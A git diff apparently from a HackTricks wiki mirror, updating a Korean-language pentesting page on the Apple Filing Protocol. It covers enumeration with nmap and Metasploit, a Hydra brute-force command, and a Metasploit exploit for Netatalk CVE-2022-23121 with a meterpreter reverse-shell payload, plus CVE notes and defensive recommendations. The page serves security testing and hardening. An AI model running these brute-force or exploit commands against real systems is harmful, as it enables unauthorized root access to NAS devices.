mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
parent
a90b4749a8
commit
8e64cc3d97
@ -4,27 +4,109 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**Apple Filing Protocol** (**AFP**)는 한때 AppleTalk Filing Protocol로 알려졌던 전문 네트워크 프로토콜로, **Apple File Service** (**AFS**)에 포함되어 있습니다. 이 프로토콜은 macOS 및 클래식 Mac OS에 대한 파일 서비스를 제공하도록 설계되었습니다. AFP는 유니코드 파일 이름, POSIX 및 접근 제어 목록 권한, 리소스 포크, 명명된 확장 속성, 그리고 정교한 파일 잠금 메커니즘을 지원하는 점에서 두드러집니다. 이는 Mac OS 9 및 이전 버전의 파일 서비스에 대한 주요 프로토콜이었습니다.
|
||||
**Apple Filing Protocol** (**AFP**)는 한때 AppleTalk Filing Protocol로 알려졌던 전문 네트워크 프로토콜로, **Apple File Service** (**AFS**)에 포함되어 있습니다. 이 프로토콜은 macOS 및 클래식 Mac OS를 위한 파일 서비스를 제공하도록 설계되었습니다. AFP는 유니코드 파일 이름, POSIX 스타일 및 ACL 권한, 리소스 포크, 명명된 확장 속성 및 정교한 파일 잠금 메커니즘을 지원하는 점에서 두드러집니다.
|
||||
|
||||
**기본 포트:** 548
|
||||
비록 AFP는 현대 macOS 릴리스에서 SMB에 의해 대체되었지만 (OS X 10.9부터 SMB가 기본값), 여전히 다음과 같은 환경에서 발견됩니다:
|
||||
|
||||
* 레거시 macOS / Mac OS 9 환경
|
||||
* 오픈 소스 **Netatalk** 데몬을 포함하는 NAS 장치 (QNAP, Synology, Western Digital, TrueNAS…)
|
||||
* Time-Machine-over-AFP가 여전히 활성화된 혼합 OS 네트워크
|
||||
|
||||
**기본 TCP 포트:** **548** (TCP / DSI를 통한 AFP)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
### **열거**
|
||||
---
|
||||
|
||||
AFP 서비스의 열거를 위해 다음 명령어와 스크립트가 유용합니다:
|
||||
## Enumeration
|
||||
|
||||
### Quick banner / server info
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
# Metasploit auxiliary
|
||||
use auxiliary/scanner/afp/afp_server_info
|
||||
run RHOSTS=<IP>
|
||||
|
||||
# Nmap NSE
|
||||
nmap -p 548 -sV --script "afp-* and not dos" <IP>
|
||||
```
|
||||
**스크립트 및 설명:**
|
||||
유용한 AFP NSE 스크립트:
|
||||
|
||||
- **afp-ls**: 이 스크립트는 사용 가능한 AFP 볼륨 및 파일을 나열하는 데 사용됩니다.
|
||||
- **afp-path-vuln**: 모든 AFP 볼륨 및 파일을 나열하며 잠재적인 취약점을 강조 표시합니다.
|
||||
- **afp-serverinfo**: AFP 서버에 대한 자세한 정보를 제공합니다.
|
||||
- **afp-showmount**: 사용 가능한 AFP 공유와 해당 ACL을 나열합니다.
|
||||
| 스크립트 | 기능 |
|
||||
|--------|--------------|
|
||||
| **afp-ls** | 사용 가능한 AFP 볼륨 및 파일 목록 표시 |
|
||||
| **afp-brute** | AFP 로그인에 대한 비밀번호 무차별 대입 |
|
||||
| **afp-serverinfo** | 서버 이름, 기계 유형, AFP 버전, 지원되는 UAM 등 덤프 |
|
||||
| **afp-showmount** | ACL과 함께 공유 목록 표시 |
|
||||
| **afp-path-vuln** | 디렉터리 탐색, CVE-2010-0533 감지(및 악용 가능) |
|
||||
|
||||
### [**무차별 대입 공격**](../generic-hacking/brute-force.md#afp)
|
||||
NSE 무차별 대입 스크립트는 더 많은 제어가 필요한 경우 Hydra/Medusa와 결합할 수 있습니다:
|
||||
```bash
|
||||
hydra -L users.txt -P passwords.txt afp://<IP>
|
||||
```
|
||||
### 공유와 상호작용
|
||||
|
||||
*macOS*
|
||||
```bash
|
||||
# Finder → Go → "Connect to Server…"
|
||||
# or from terminal
|
||||
mkdir /Volumes/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
|
||||
```
|
||||
*리눅스* (대부분의 배포판에 패키지된 `afpfs-ng` 사용)
|
||||
```bash
|
||||
apt install afpfs-ng
|
||||
mkdir /mnt/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
|
||||
# or interactive client
|
||||
afp_client <IP>
|
||||
```
|
||||
한 번 마운트되면, 고전 Mac 리소스 포크는 숨겨진 `._*` AppleDouble 파일로 저장된다는 것을 기억하세요. 이러한 파일은 DFIR 도구가 놓치는 흥미로운 메타데이터를 종종 포함하고 있습니다.
|
||||
|
||||
---
|
||||
|
||||
## 일반적인 취약점 및 악용
|
||||
|
||||
### Netatalk 인증되지 않은 RCE 체인 (2022)
|
||||
|
||||
여러 NAS 공급업체가 **Netatalk ≤3.1.12**를 배포했습니다. `parse_entries()`에서 경계 검사 부족으로 인해 공격자가 악의적인 **AppleDouble** 헤더를 작성하고 인증 전에 **원격 루트**를 얻을 수 있습니다 (**CVSS 9.8 – CVE-2022-23121**). Western-Digital PR4100을 악용하는 PoC와 함께 NCC Group의 전체 작성물이 제공됩니다.
|
||||
|
||||
Metasploit (>= 6.3)는 DSI `WRITE`를 통해 페이로드를 전달하는 모듈 `exploit/linux/netatalk/parse_entries`를 포함하고 있습니다.
|
||||
```bash
|
||||
use exploit/linux/netatalk/parse_entries
|
||||
set RHOSTS <IP>
|
||||
set TARGET 0 # Automatic (Netatalk)
|
||||
set PAYLOAD linux/x64/meterpreter_reverse_tcp
|
||||
run
|
||||
```
|
||||
대상 시스템이 영향을 받는 QNAP/Synology 펌웨어를 실행하는 경우, 성공적인 익스플로잇은 **root**로서의 쉘을 제공합니다.
|
||||
|
||||
### Netatalk OpenSession 힙 오버플로우 (2018)
|
||||
|
||||
구버전 Netatalk (3.0.0 - 3.1.11)은 **DSI OpenSession** 핸들러에서의 경계 초과 쓰기에 취약하여 인증되지 않은 코드 실행이 가능합니다 (**CVE-2018-1160**). Tenable Research에 의해 자세한 분석과 PoC가 발표되었습니다.
|
||||
|
||||
### 기타 주목할 만한 문제
|
||||
|
||||
* **CVE-2022-22995** – AppleDouble v2가 활성화된 경우 (3.1.0 - 3.1.17) 임의 파일 쓰기 / RCE로 이어지는 심볼릭 링크 리디렉션.
|
||||
* **CVE-2010-0533** – Apple Mac OS X 10.6 AFP에서의 디렉토리 탐색 ( `afp-path-vuln.nse`에 의해 탐지됨).
|
||||
* **Netatalk 4.x (2024)**에서 여러 메모리 안전성 버그가 수정되었습니다 – 개별 CVE를 패치하기보다는 업그레이드를 권장합니다.
|
||||
|
||||
---
|
||||
|
||||
## 방어 권장 사항
|
||||
|
||||
1. **AFP를 비활성화** 하십시오. 엄격히 필요하지 않은 경우 – 대신 SMB3 또는 NFS를 사용하십시오.
|
||||
2. AFP를 유지해야 하는 경우, **Netatalk를 ≥ 3.1.18 또는 4.x로 업그레이드** 하거나 2022/2023/2024 패치를 백포트한 공급업체 펌웨어를 적용하십시오.
|
||||
3. **강력한 UAM**(예: *DHX2*)을 시행하고, 평문 및 게스트 로그인을 비활성화하십시오.
|
||||
4. TCP 548을 신뢰할 수 있는 서브넷으로 제한하고, 원격으로 노출될 때 AFP를 VPN 내에 감싸십시오.
|
||||
5. 주기적으로 `nmap -p 548 --script afp-*`로 CI/CD에서 스캔하여 불법 / 다운그레이드된 장비를 탐지하십시오.
|
||||
|
||||
---
|
||||
|
||||
### [Brute-Force](../generic-hacking/brute-force.md#afp)
|
||||
|
||||
## References
|
||||
|
||||
* Netatalk Security Advisory CVE-2022-23121 – "parse_entries에서의 임의 코드 실행" <https://netatalk.io/security/CVE-2022-23121>
|
||||
* Tenable Research – "18년 된 버그 익스플로잇하기 (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user